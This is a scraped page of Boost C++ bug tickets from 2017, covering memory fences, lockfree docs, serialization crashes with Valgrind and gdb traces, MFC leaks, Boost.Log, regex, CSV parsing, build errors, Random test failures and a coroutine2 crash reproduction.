BOOST_FORCEINLINE void thread_fence(memory_order order) BOOST_NOEXCEPT {

if (order == memory_order_seq_cst) {

asm volatile (

#if defined(x86_64)

defined(SSE2)

"mfence\n"

#else

"lock; addl $0, (%%esp)\n"

#endif

::: "memory"

);

} else if ((order & (memory_order_acquire | memory_order_release)) != 0) {

asm volatile ("" ::: "memory");

}

}

I suggest code is:

BOOST_FORCEINLINE void thread_fence(memory_order order) BOOST_NOEXCEPT {

if (order == memory_order_seq_cst) {

asm volatile (

#if defined(x86_64)

defined(SSE2)

"mfence\n"

#else

"lock; addl $0, (%%esp)\n"

#endif

::: "memory"

);

return; }

if ((order & (memory_order_acquire )!=0 ){

asm volatile (

#if defined(x86_64)

defined(SSE2)

"lfence\n"

#else

"lock; addl $0, (%%esp)\n"

#endif

::: "memory"

);

return; }

if ((order & (memory_order_release )!=0 ){

asm volatile (

#if defined(x86_64)

defined(SSE2)

"sfence\n"

#else

"lock; addl $0, (%%esp)\n"

#endif

::: "memory"

);

}

}

Linux system do not delete lfence and sfence code, but why C++ lib deleted, this will cause error in multi_thread programe.

#13263: error in boost lockfree 1.58 documentation

anonymous — Tue, 17 Oct 2017 23:39:37 GMT

http://www.boost.org/doc/libs/1_58_0/doc/html/boost/lockfree/spsc_queue.html

For 'read_available', the doc incorrectly states that this should only be called by the producer thread.

Similarly for 'write_available' (s/b producer, and not consumer, thread)

#13261: managed_shared_memory construction fail after PC-Cleaning tools were used on the machine

m.fornaro6@… — Fri, 13 Oct 2017 14:33:55 GMT

Hi,

because managed_shared_memory use windows_bootstamp, the creation of this object fails when events log were cleaned on the machine.

In detail, I've found this behaviour after using tools like "CCleaner".

Is this acceptable?

Can I ask why boost does not use named shared memory or Pipe for Windows IPC?

Thanks, Marco

#13259: seg fault at cleanup time, __run_exit_handlers

James E. King, III — Thu, 12 Oct 2017 12:00:35 GMT

I am getting a segfault at run_exit_handlers time with 1.66 develop commit id d21a064a69663faf106ea363bf4785904bfd44d1 (Oct 6) using build command

~/boost/libs/serialization/test$ ../../../b2 toolset=clang test_dll_exported -q:

==13247== Invalid free() / delete / delete[] / realloc()
==13247==    at 0x4C2F25B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==13247==    by 0x50A097F: __gnu_cxx::new_allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::deallocate(std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*, unsigned long) (new_allocator.h:110)
==13247==    by 0x50A092F: __gnu_cxx::__alloc_traits<std::allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> > >::deallocate(std::allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >&, std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*, unsigned long) (alloc_traits.h:133)
==13247==    by 0x50A07CB: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_put_node(std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*) (stl_tree.h:509)
==13247==    by 0x50A071B: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_drop_node(std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*) (stl_tree.h:576)
==13247==    by 0x50A127B: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_erase_aux(std::_Rb_tree_const_iterator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>) (stl_tree.h:2275)
==13247==    by 0x50A1234: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::erase(std::_Rb_tree_const_iterator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>) (stl_tree.h:1057)
==13247==    by 0x509FF64: std::multiset<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::erase(std::_Rb_tree_const_iterator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>) (stl_multiset.h:571)
==13247==    by 0x509FB97: boost::serialization::typeid_system::extended_type_info_typeid_0::type_unregister() (extended_type_info_typeid.cpp:108)
==13247==    by 0x4205E4: boost::serialization::extended_type_info_typeid<polymorphic_derived2>::~extended_type_info_typeid() (extended_type_info_typeid.hpp:96)
==13247==    by 0x420134: boost::serialization::singleton<boost::serialization::extended_type_info_typeid<polymorphic_derived2> >::get_instance()::singleton_wrapper::~singleton_wrapper() (singleton.hpp:117)
==13247==    by 0x601B26F: __run_exit_handlers (exit.c:83)
==13247==  Address 0x63b9d80 is 0 bytes inside a block of size 40 free'd
==13247==    at 0x4C2F25B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==13247==    by 0x50A097F: __gnu_cxx::new_allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::deallocate(std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*, unsigned long) (new_allocator.h:110)
==13247==    by 0x50A092F: __gnu_cxx::__alloc_traits<std::allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> > >::deallocate(std::allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >&, std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*, unsigned long) (alloc_traits.h:133)
==13247==    by 0x50A07CB: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_put_node(std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*) (stl_tree.h:509)
==13247==    by 0x50A071B: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_drop_node(std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*) (stl_tree.h:576)
==13247==    by 0x50A0647: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_erase(std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>*) (stl_tree.h:1640)
==13247==    by 0x50A05BE: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::~_Rb_tree() (stl_tree.h:873)
==13247==    by 0x50A0584: std::multiset<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::~multiset() (stl_multiset.h:92)
==13247==    by 0x50A0414: boost::serialization::singleton<std::multiset<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> > >::get_instance()::singleton_wrapper::~singleton_wrapper() (singleton.hpp:117)
==13247==    by 0x601B5E9: __cxa_finalize (cxa_finalize.c:56)
==13247==    by 0x5087F12: ??? (in /home/jking/boost/bin.v2/libs/serialization/build/clang-gnu-linux-4.0.0/debug/threadapi-pthread/libboost_serialization.so.1.66.0)
==13247==    by 0x4011109: _dl_fini (dl-fini.c:235)
==13247==  Block was alloc'd at
==13247==    at 0x4C2E19F: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==13247==    by 0x50A0FC0: __gnu_cxx::new_allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::allocate(unsigned long, void const*) (new_allocator.h:104)
==13247==    by 0x50A0F6B: __gnu_cxx::__alloc_traits<std::allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> > >::allocate(std::allocator<std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >&, unsigned long) (alloc_traits.h:130)
==13247==    by 0x50A0E43: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_get_node() (stl_tree.h:505)
==13247==    by 0x50A0DFF: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_create_node(boost::serialization::typeid_system::extended_type_info_typeid_0 const* const&) (stl_tree.h:527)
==13247==    by 0x50A0D8F: std::_Rb_tree_node<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>* std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_Alloc_node::operator()<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>(boost::serialization::typeid_system::extended_type_info_typeid_0 const* const&) const (stl_tree.h:473)
==13247==    by 0x50A0BDB: std::_Rb_tree_iterator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_insert_<std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_Alloc_node>(std::_Rb_tree_node_base*, std::_Rb_tree_node_base*, boost::serialization::typeid_system::extended_type_info_typeid_0 const* const&, std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_Alloc_node&) (stl_tree.h:1535)
==13247==    by 0x50A09FC: std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_insert_equal(boost::serialization::typeid_system::extended_type_info_typeid_0 const* const&) (stl_tree.h:1918)
==13247==    by 0x509FE2C: std::multiset<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::insert(boost::serialization::typeid_system::extended_type_info_typeid_0 const* const&) (stl_multiset.h:474)
==13247==    by 0x509FA68: boost::serialization::typeid_system::extended_type_info_typeid_0::type_register(std::type_info const&) (extended_type_info_typeid.cpp:91)
==13247==    by 0x4201CA: boost::serialization::extended_type_info_typeid<polymorphic_derived2>::extended_type_info_typeid() (extended_type_info_typeid.hpp:91)
==13247==    by 0x4200FE: boost::serialization::singleton<boost::serialization::extended_type_info_typeid<polymorphic_derived2> >::get_instance()::singleton_wrapper::singleton_wrapper() (singleton.hpp:117)

In gdb it looks like this, not sure if it's the same thing however:

(gdb) r
Starting program: /home/jking/boost/bin.v2/libs/serialization/test/test_dll_exported.test/clang-gnu-linux-4.0.0/debug/threadapi-pthread/test_dll_exported
No errors detected.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff71f79b6 in std::_Rb_tree_rebalance_for_erase(std::_Rb_tree_node_base*, std::_Rb_tree_node_base&) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
(gdb) bt
#0  0x00007ffff71f79b6 in std::_Rb_tree_rebalance_for_erase(std::_Rb_tree_node_base*, std::_Rb_tree_node_base&) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#1  0x00007ffff793564b in std::_Rb_tree<boost::serialization::extended_type_info const*, boost::serialization::extended_type_info const*, std::_Identity<boost::serialization::extended_type_info const*>, boost::serialization::detail::key_compare, std::allocator<boost::serialization::extended_type_info const*> >::_M_erase_aux (
    this=0x7ffff7b9e948 <boost::serialization::singleton<std::multiset<boost::serialization::extended_type_info const*, boost::serialization::detail::key_compare, std::allocator<boost::serialization::extended_type_info const*> > >::get_instance()::t>, __position=0x631870 <boost::serialization::singleton<boost::serialization::extended_type_info_no_rtti<polymorphic_base> >::get_instance()::t>)
    at /usr/bin/../lib/gcc/x86_64-linux-gnu/6.3.0/../../../../include/c++/6.3.0/bits/stl_tree.h:2272
#2  0x00007ffff7935615 in std::_Rb_tree<boost::serialization::extended_type_info const*, boost::serialization::extended_type_info const*, std::_Identity<boost::serialization::extended_type_info const*>, boost::serialization::detail::key_compare, std::allocator<boost::serialization::extended_type_info const*> >::erase (
    this=0x7ffff7b9e948 <boost::serialization::singleton<std::multiset<boost::serialization::extended_type_info const*, boost::serialization::detail::key_compare, std::allocator<boost::serialization::extended_type_info const*> > >::get_instance()::t>, __position=0x631870 <boost::serialization::singleton<boost::serialization::extended_type_info_no_rtti<polymorphic_base> >::get_instance()::t>)
    at /usr/bin/../lib/gcc/x86_64-linux-gnu/6.3.0/../../../../include/c++/6.3.0/bits/stl_tree.h:1057
#3  0x00007ffff7934395 in std::multiset<boost::serialization::extended_type_info const*, boost::serialization::detail::key_compare, std::allocator<boost::serialization::extended_type_info const*> >::erase (
    this=0x7ffff7b9e948 <boost::serialization::singleton<std::multiset<boost::serialization::extended_type_info const*, boost::serialization::detail::key_compare, std::allocator<boost::serialization::extended_type_info const*> > >::get_instance()::t>, __position=0x631870 <boost::serialization::singleton<boost::serialization::extended_type_info_no_rtti<polymorphic_base> >::get_instance()::t>)
    at /usr/bin/../lib/gcc/x86_64-linux-gnu/6.3.0/../../../../include/c++/6.3.0/bits/stl_multiset.h:571
#4  0x00007ffff7933ec9 in boost::serialization::extended_type_info::key_unregister (this=0x631870 <boost::serialization::singleton<boost::serialization::extended_type_info_no_rtti<polymorphic_base> >::get_instance()::t>)
    at ../../../libs/serialization/src/extended_type_info.cpp:136
#5  0x000000000041fed7 in boost::serialization::extended_type_info_no_rtti<polymorphic_base>::~extended_type_info_no_rtti (
    this=0x631870 <boost::serialization::singleton<boost::serialization::extended_type_info_no_rtti<polymorphic_base> >::get_instance()::t>) at ../../../boost/serialization/extended_type_info_no_rtti.hpp:107
#6  0x000000000041fa05 in boost::serialization::singleton<boost::serialization::extended_type_info_no_rtti<polymorphic_base> >::get_instance()::singleton_wrapper::~singleton_wrapper() (
    this=0x631870 <boost::serialization::singleton<boost::serialization::extended_type_info_no_rtti<polymorphic_base> >::get_instance()::t>) at ../../../boost/serialization/singleton.hpp:117
#7  0x00007ffff68a3270 in __run_exit_handlers (status=0, listp=0x7ffff6c2a5d8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true, run_dtors=run_dtors@entry=true) at exit.c:83
#8  0x00007ffff68a32ca in __GI_exit (status=<optimized out>) at exit.c:105
#9  0x00007ffff68893f8 in __libc_start_main (main=0x414660 <main(int, char**)>, argc=1, argv=0x7fffffffe2e8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2d8) at ../csu/libc-start.c:325
#10 0x00000000004143ca in _start () at ../../../boost/serialization/singleton.hpp:155

I don't think either of these issues specifically describes the memory leak in #13186 (valgrind is reporting that too) which is why I am opening a new defect for it.

#13258: boost/archive/text_iarchive.hpp memory leaks with MFC!

Thu, 12 Oct 2017 05:56:51 GMT

visual studio 2017 community edition; boost c++, 1.65 installed through vcpkg;

reproducing steps.

install vcpkg; vcpkg install boost
create a new project with mfc shared support;
add #include <boost/archive/text_iarchive.hpp> to stdafx.h
build -> run -> exit
visual studio will generate messages like:

Detected memory leaks!
Dumping objects ->
{180} normal block at 0x01546820, 8 bytes long.
 Data: <  L     > E8 F1 4C 01 00 00 00 00
{179} normal block at 0x01546510, 20 bytes long.
 Data: < eT  eT  eT     > 10 65 54 01 10 65 54 01 10 65 54 01 01 01 CD CD
{178} normal block at 0x01546AC0, 8 bytes long.
 Data: <  L     > D0 F1 4C 01 00 00 00 00
{177} normal block at 0x01546790, 20 bytes long.
 Data: < gT  gT  gT     > 90 67 54 01 90 67 54 01 90 67 54 01 01 01 CD CD
{176} normal block at 0x0153B948, 8 bytes long.
 Data: <` L     > 60 F1 4C 01 00 00 00 00
{175} normal block at 0x01546190, 20 bytes long.
 Data: < aT  aT  aT     > 90 61 54 01 90 61 54 01 90 61 54 01 01 01 CD CD
{174} normal block at 0x0153BA98, 8 bytes long.
 Data: <H L     > 48 F1 4C 01 00 00 00 00
{173} normal block at 0x015435A8, 20 bytes long.
 Data: < 5T  5T  5T     > A8 35 54 01 A8 35 54 01 A8 35 54 01 01 01 CD CD
{172} normal block at 0x0153B8A0, 8 bytes long.
 Data: <0 L     > 30 F1 4C 01 00 00 00 00
{171} normal block at 0x01543568, 20 bytes long.
 Data: <h5T h5T h5T     > 68 35 54 01 68 35 54 01 68 35 54 01 01 01 CD CD
{170} normal block at 0x0153BA28, 8 bytes long.
 Data: <  L     > 18 F1 4C 01 00 00 00 00
{169} normal block at 0x01543528, 20 bytes long.

I can finally nail down to these two headers; If they exist in stdafx.h at the same time, there will be memory leakage errors.

#include <afxwin.h>         // MFC core and standard components
#include <boost/archive/text_iarchive.hpp>

#13257: Log attributes passed as arguments to open_record are ignored

Wed, 11 Oct 2017 19:19:04 GMT

Why does boost::log::sources::basic_logger::open_record_unlocked(ArgsT const&) ignore its argument when calling boost::log::core::open_record()?

    /*!
     * Unlocked \c open_record
     */
    template< typename ArgsT >
    record open_record_unlocked(ArgsT const&)
    {
        return m_pCore->open_record(m_Attributes);
    }

The boost::log::sources::logger_mt::open_record() eventually passes the attributes to this function where they are summarily ignored. How is something as fundamental to the Boost Log library as BOOST_LOG_WITH_PARAMETERS() supposed to work! It doesn't, by the way.

#13256: regex '([|&])\1?' with backreference fails to compile if regex::nosub flag used

Wed, 11 Oct 2017 09:06:39 GMT

when compiling a regex with regex::nosubs flag set, a regex with a back reference fails with:

Invalid back reference: specified capturing group does not exist. The error occurred while parsing the regular expression: '([|&])>>>HERE>>>\1?'.

Test program:

#include <boost/regex.hpp> #include <iostream> #include <exception>

using namespace std;

int main(int argc, char argv) {

try {

boost::regex::flag_type flags = boost::regex::ECMAScript; flags |= boost::regex::nosubs; boost::regex theRegex("([|&])
1?", flags); cout << "ok\n"; return 0;

} catch (exception &e) {

cerr << "exception: " << e.what() << "\n"; return 1;

}

} g++ -std=c++11 test-boost-regex-bug.cpp -o test-boost-regex-bug -l boost_regex

#13253: RFC 4180 CSV separator

tom_becker@… — Tue, 10 Oct 2017 00:21:26 GMT

It would be useful to have a RFC 4180 CSV separator alternative to escaped_list_separator. The RFC 4180 CSV format is more compatible with popular spreadsheet software. It really is a different format:

Putting quotes around a field allows commas only if the initial quote is at the beginning of the field.
Quotes can be embedded in a quoted field if they are repeated. For example:
```
field 1,"embedded "" in field 2",field 3
```
Newlines can be embedded in a quoted field.
There is no escape character (except for the special case of a repeated quote).

It is easy to write a tokenizer function that parses this format, except for the embedded newlines. I have some working code that could be cleaned up and submitted.

#13252: Bootstrap.bat gcc throws compilation error (code is not c90 complilant)

carlos.federico005@… — Mon, 09 Oct 2017 21:16:47 GMT

Trying to compile the new Boost 1.65.1 with Mingw w64 (gcc 4.8.3) on a Windows 10.

While running bootstrap.bat gcc I get:

...
 \boost_1_65_1\tools\build\src\engine>.\bootstrap\jam0 -f build.jam
 --toolset=gcc "--toolset-root= "
 ...found 161 targets...
 ...updating 3 targets...
 [MKDIR] bin.ntx86_64
 [COMPILE] bin.ntx86_64\b2.exe
 debugger.c: In function 'debug_start_child':
 debugger.c:1128:5: error:
 'for' loop initial declarations are only allowed in C99 mode
      for ( int i = 1; i < argc; ++i )
      ^
 debugger.c:1128:5: note: use option -std=c99 or -std=gnu99 to compile your code
 strings.c: In function 'string_rtrim':
 strings.c:195:5: warning: ISO C90 forbids mixed declarations and code
 [-Wpedantic]
      char * p = self->value + self->size - 1;
      ^
 ...

So making a small modification (declare the i variable outside the for-loop) into boost_1_65_1\tools\build\src\engine\debugger.c:1128 I can make it compile perfectly.

I guess adding --std=c99 or --std=c11 into boost_1_65_1\tools\build\src\engine\config_toolset.bat:204 could been even better.

#13250: bootstrap.bat fails for toolset mingw

Sun, 08 Oct 2017 17:38:22 GMT

#13248: test_hyperexponential_distribution fails in debug builds on travis CI osx any xcode level (clang 4.2.1 for example)

James E. King, III — Sun, 08 Oct 2017 11:50:07 GMT

Appears to be platform related as debug builds on linux with clang (any version) do not fail this way.

https://travis-ci.org/jeking3/random/builds/284931646

testing.capture-output bin.v2/libs/random/test/test_hyperexponential_distribution.test/clang-darwin-darwin-4.2.1/debug/threadapi-pthread/test_hyperexponential_distribution.run
====== BEGIN OUTPUT ======
Running 7 test cases...
libs/random/test/test_hyperexponential_distribution.cpp:275: error: in "test_streaming": check param == check_param has failed [[0.25 0.25 0.25 0.25] [1 2 3 4] != [1] [1]]
libs/random/test/test_hyperexponential_distribution.cpp:294: error: in "test_streaming": check param == check_param has failed [[0.1 0.2 0.3 0.4] [1 1 1 1] != [1] [1]]
*** 2 failures are detected in the test module "Master Test Suite"
EXIT STATUS: 201
====== END OUTPUT ======
bin.v2/libs/random/test/test_hyperexponential_distribution.test/clang-darwin-darwin-4.2.1/debug/threadapi-pthread/test_hyperexponential_distribution.run...

#13247: test_independent_bits32 fails unit test in release mode only at -O2 and higher under clang 3.8, 3.9, 4.0, 5.0

James E. King, III — Sun, 08 Oct 2017 04:13:39 GMT

I'm working on adding CI support to Boost.Random and I found that the clang build jobs are failing on this test as follows. To reproduce, use Boost.Random from the test directory with ubuntu zesty and clang 4.0:

passes:
../../../b2 toolset=clang variant=release test_independent_bits32 clean
../../../b2 toolset=clang variant=release cxxflags="-O0" test_independent_bits32
passes:
../../../b2 toolset=clang variant=release test_independent_bits32 clean
../../../b2 toolset=clang variant=release cxxflags="-O1" test_independent_bits32
fails:
../../../b2 toolset=clang variant=release test_independent_bits32 clean
../../../b2 toolset=clang variant=release cxxflags="-O2" test_independent_bits32

No versions of gcc at any optimization level seem to fail and ubsan testing also does not fail (but it is a debug build) so this needs further investigation to understand if it is a clang optimizer bug that's been around for a while or if the test is wrong for clang somehow.

testing.capture-output bin.v2/libs/random/test/test_independent_bits32.test/clang-gnu-linux-3.9.0/release/threadapi-pthread/test_independent_bits32.run
====== BEGIN OUTPUT ======
Running 13 test cases...
libs/random/test/test_generator.ipp(246): error: in "validate": check urng() == 4123659995U has failed [0 != 4123659995]
libs/random/test/test_generator.ipp(256): error: in "validate_seed_seq": check urng() == 666528879U has failed [0 != 666528879]
libs/random/test/test_generator.ipp(268): error: in "validate_iter": check urng() == 3408548740U has failed [0 != 3408548740]
libs/random/test/test_generator.ipp(278): error: in "test_generate": check { actual, actual + N } == { expected, expected + N } has failed.
Mismatch at position 0: 0 != 3499211612
Mismatch at position 1: 0 != 581869302
Mismatch at position 2: 0 != 3890346734
Mismatch at position 3: 0 != 3586334585
*** 4 failures are detected in the test module "Master Test Suite"
EXIT STATUS: 201
====== END OUTPUT ======
...failed testing.capture-output bin.v2/libs/random/test/test_independent_bits32.test/clang-gnu-linux-3.9.0/release/threadapi-pthread/test_independent_bits32.run...

testing.capture-output bin.v2/libs/random/test/test_independent_bits32.test/clang-gnu-linux-5.0.1/release/threadapi-pthread/test_independent_bits32.run
====== BEGIN OUTPUT ======
Running 13 test cases...
libs/random/test/test_generator.ipp(246): error: in "validate": check urng() == 4123659995U has failed [0 != 4123659995]
libs/random/test/test_generator.ipp(256): error: in "validate_seed_seq": check urng() == 666528879U has failed [0 != 666528879]
libs/random/test/test_generator.ipp(268): error: in "validate_iter": check urng() == 3408548740U has failed [0 != 3408548740]
libs/random/test/test_generator.ipp(278): error: in "test_generate": check { actual, actual + N } == { expected, expected + N } has failed.
Mismatch at position 0: 0 != 3499211612
Mismatch at position 1: 0 != 581869302
Mismatch at position 2: 0 != 3890346734
Mismatch at position 3: 0 != 3586334585
*** 4 failures are detected in the test module "Master Test Suite"
EXIT STATUS: 201
====== END OUTPUT ======
...failed testing.capture-output bin.v2/libs/random/test/test_independent_bits32.test/clang-gnu-linux-5.0.1/release/threadapi-pthread/test_independent_bits32.run...

#13245: Coroutines2: Crashes Visual Studio when attached with a debugger (on Windows x86)

Wed, 04 Oct 2017 13:50:24 GMT

Hi,

In my application I'm using coroutine2 to generate some objects which I have to decode from a stream. These objects are generated using coroutines. My problem is that as soon as I reach the end of the stream and would theoretically throw std::ios_base::failure my application crashes under certain conditions.

The function providing this feature is implemented in C++, exported as a C function and called from C#. This all happens on a 32bit process on Windows 10 x64. Unfortunately it only reliably crashes when I start my test from C# in debugging mode WITHOUT the native debugger attached. As soon as I attach the native debugger everything works like expected.

Here is a small test application to reproduce this issue:

Api.h

#pragma once
extern "C" __declspec(dllexport) int __cdecl test();

Api.cpp

#include <iostream>
#include <vector>
#include <sstream>
#include "Api.h"
#define BOOST_COROUTINES2_SOURCE
#include <boost/coroutine2/coroutine.hpp>
int test()
{
	using coro_t = boost::coroutines2::coroutine<bool>;
	coro_t::pull_type source([](coro_t::push_type& yield) {
		std::vector<char> buffer(200300, 0);
		std::stringstream stream;
		stream.write(buffer.data(), buffer.size());
		stream.exceptions(std::ios_base::eofbit | std::ios_base::badbit | std::ios_base::failbit);
		try {
			std::vector<char> dest(100100, 0);
			while (stream.good() && !stream.eof()) {
				stream.read(&dest[0], dest.size());
				std::cerr << "CORO: read: " << stream.gcount() << std::endl;
			}
		}
		catch (const std::exception& ex) {
			std::cerr << "CORO: caught ex: " << ex.what() << std::endl;
		}
		catch (...) {
			std::cerr << "CORO: caught unknown exception." << std::endl;
		}
	});
	std::cout << "SUCCESS" << std::endl;
	return 0;
}

c#:

using System;
using System.Runtime.InteropServices;
namespace CoroutinesTest
{
    class Program
    {
        [DllImport("ConsoleApplication1.dll", EntryPoint = "test", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)]
        internal static extern Int32 test();
        static void Main(string[] args)
        {
            test();
            Console.WriteLine("SUCCESS");
        }
    }
}

Some details:

We are using Visual Studio 2015 14 and dynamically link the c++ runtime.
The test library statically links Boost 1.63.0.
We also tried to reproduce this behaviour with calling the functionallity directly from c++ and from python. Both tests have not been successful so far.
If you start the c# code with CTRL F5 (meaning without the .net debugger) everything will also be fine. Only if you start it with F5 (meaning the .NET Debugger attached) the visual studio instance will crash. Also be sure not to enable the native debugger!
Note: If we don't use the exceptions in the stream, everything seams to be fine as well. Unfortunately the code decoding my objects makes use of them and therefore I cannot avoid this.

Would be amazing if you had some additional hints on what might go wrong here or a solution.

Thanks in advance! Best Regards, Michael

#13243: error_category() BOOST_SYSTEM_NOEXCEPT: std_cat_( this ) {} gives warning in Visual Studio 2010

anonymous — Tue, 03 Oct 2017 10:50:51 GMT

\boost_1_65_1-64\boost\system\error_code.hpp line: 255: error_category() BOOST_SYSTEM_NOEXCEPT: std_cat_( this ) {}

When called from a file that is complied with Visual Studio 2010, this lines gives: warning C4355: 'this' : used in base member initializer list

#13238: Typo in Boost.Move

